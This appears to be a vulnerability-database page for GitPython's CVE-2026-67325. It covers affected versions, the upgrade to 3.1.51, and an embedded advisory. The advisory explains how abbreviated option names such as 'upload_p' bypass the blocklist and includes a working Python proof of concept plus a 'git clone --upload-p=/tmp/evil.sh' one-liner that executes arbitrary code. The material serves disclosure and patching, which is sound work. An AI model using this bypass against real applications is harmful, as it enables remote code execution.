CVE-2026-67325: GitPython Command Injection Vulnerability
HIGHCVE-2026-67325 is a HIGH (CVSS 8.8) command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting GitPython libraries in the PyPI ecosystem. The issue involves command injection via git long-option prefix abbreviation bypass of cve-2026-42215 blocklist. Remediation is available by upgrading affected packages to version 3.1.51.
CVE-2026-67325 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-67325
To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GitPython>=3.1.51
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GitPython
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-67325, inspect your installed packages using pip:
pip show GitPython
Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.51), your application is affected.
Note: The pip show GitPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67325 Affected GitPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GitPython
|
PyPI |
< 3.1.51
|
3.1.51
|
References
Frequently Asked Questions
What is CVE-2026-67325?
Which GitPython versions are affected?
What version fixes CVE-2026-67325?
Is GitPython affected?
What is the CVSS score of CVE-2026-67325?
What CWE is associated with CVE-2026-67325?
How can I check PyPI dependencies for CVE-2026-67325?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2f96-g7mh-g2hx",
"modified" : "2026-09-08T17:34:34Z",
"published" : "2026-07-21T19:43:43Z",
"aliases" : [ "CVE-2026-67325" ],
"summary" : "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist",
"details" : "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore→hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=<value>` → executed as `--upload-pack=<value>` → command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`→`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes — direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes — direct RCE |\n| `exe` | `--exec` | push | Yes — direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>\ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) → blocked; `upload_p` (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently — not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GitPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.51"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.50"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67325"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/pull/2161"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gitpython-developers/GitPython"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-21T19:43:43Z",
"nvd_published_at" : null
}
}